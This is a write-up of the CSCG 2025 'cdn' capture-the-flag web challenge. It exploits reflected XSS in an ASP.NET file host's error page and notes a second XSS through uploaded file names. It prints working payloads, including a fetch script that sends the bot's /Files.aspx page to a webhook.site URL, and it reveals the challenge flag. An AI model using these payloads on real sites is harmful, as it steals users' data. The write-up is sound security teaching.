cdn - CSCG 2025 - Write-Up
Another XSS vulnerability to exploit.
This is the a write-up for the last web challenge (the one with the fewest solves) cdn
of the CSCG 2025. The challenge was created by NoRelect
and is rated as medium.
Description
Description of the challenge:
Diary Entry: February 10, 2080
Another day in the wasteland of enterprise software. The neon skyline flickers outside my window, but inside this concrete bunker of a cubicle, it’s just me, an aging keyboard, and a .NET Framework project that refuses to die. I don’t know how we got here. The world outside runs on quantum distributed neural meshes, but here I am, hammering away at legacy C# code in an IDE that barely runs on this salvaged hardware. Mono is the only thing keeping this fossil alive, and even that is held together with digital duct tape and the tears of developers long past. The system is ancient, predating even my grandparents. But the Corp won’t let us move it. “Too much risk” they say. “Legacy compatibility” they insist. They don’t see the warnings flashing in the logs like distress beacons in deep space. Reflection errors. Memory leaks. A garbage collector that might as well be a janitor sweeping an endless hallway of digital debris.
For this application you are provided with a massive amount of ASP.Net code, the code really shocked me, but actually I solved the challenge completely without looking at the code. The application is a simple file host application, it allows you to register an account. The application provides you with a simple UI to upload files and download them, although the files are not accessible via a URL in a CDN system.
Vulnerability
The vulnerability is connected with how the application responds to errors. If the application detects any values which may be malicious it will respond with a page which will view these parameters, the issue is that these parameters are rendered that way, so they are displayed on the page. You can test that by injecting a simple XSS payload beginning like ?x=<img
asa parameter to your request query. The wep page will treat this image tag as the image and you have Cross Site Scripting (XSS).
Rabbit hole, another XSS
There is actually a second vulnerability in this application. This vulnerability can not be used to exploit the bot but it still exists. The vulnerability is that you can upload a file with a XSS payload as the file name. The file name will display the file for you which results in the execution of the XSS payload.
Exploit
The first issue while building a exploit payload is, that you may encounter is that the payload so the value of a parameter will be cut of.
For example if you inject /?x=<img src=1 onerror=alert(1) />
as the payload to the page, you will be presented with the HTML:
1
<img src=1 oner...").
This can be solved by using the parameter name instead of the value as the payload. With using /%3Cimg%20src%3D1%20onerror%3Dalert%281%29%20%2F%3E%20=<img
as the payload the page successfully responds with an alert.
Note: To make the malicious warning appear, there must be a dangerous tag inside the value of the payload/parameter, otherwise the page will return the usual page.
The last step is to build a working final payload, for that you can use again like in the Air-Smeller challenge webhooks.site, which provides you with a short URL.
The flag is uploaded to the page using the pages file upload function (this is a extract from the bots code):
1
2
3
4
5
await page.goto(cdnUrl + '/Files.aspx', {
waitUntil: 'networkidle0',
});
const elementHandle = await page.$("#ctl00_MainContent_FileUpload1");
await elementHandle.uploadFile('/tmp/flag.txt');
The files are rendered on the /Files.aspx
page using this code:
1
2
3
4
5
6
7
<li>
<asp:HyperLink
CssClass="cyberpunk blue"
NavigateUrl='<%# Eval("Data") %>'
Text='<%# Eval("FileName") %>'
runat="server"/>
</li>
In the provided code, it’s notable that files are encoded using Base64 and stored as strings. The format includes a specific data prefix. This format is designed to be utilized within the NavigateUrl
.
1
2
3
4
5
var data = new FileData
{
FileName = this.FileUpload1.FileName ?? "default-filename.bin",
Data = "data:application/octet-stream;base64," + Convert.ToBase64String(this.FileUpload1.FileBytes)
};
So summarized: The files are the URL itself. This makes exploiting the XSS vulnerability effectively easier, because you only need to send the /Files.aspx
page of the bot to our webhook. If the file would be stored at a separate URL you would need to first read the page and then request the URL.
I used a similar payload like in the Air Smeller Room, this is because it’s just handy.
- I build a short fetch JS script which would fetch the
/Files.aspx
page.1
fetch("/Files.aspx").then(r=>r.text()).then(j=>fetch("https://webhook.site/fe0c905f-7ac4-46cf-a78c-2ad0b44ae662?x="+btoa(j)));
- Base64 encoded it and pasted it into the URL:
1
/Files.aspx?%3Cscript%3Eeval(atob(%22ZmV0Y2goIi9GaWxlcy5hc3B4IikudGhlbihyPT5yLnRleHQoKSkudGhlbihqPT5mZXRjaCgiaHR0cHM6Ly93ZWJob29rLnNpdGUvZmUwYzkwNWYtN2FjNC00NmNmLWE3OGMtMmFkMGI0NGFlNjYyP3g9IitidG9hKGopKSk7Cg%3D%3D%22))%3C/script%3E=%3Cimg
This payload worked for me in the local browser, so I submitted it to the reports page.
Eventually you will receive the full page as a payload on your web hook.
Flag:
1
dach2025{juni0r_d3v_c00k3d_up_s0me_0ld_t3chn0logi3s!127389}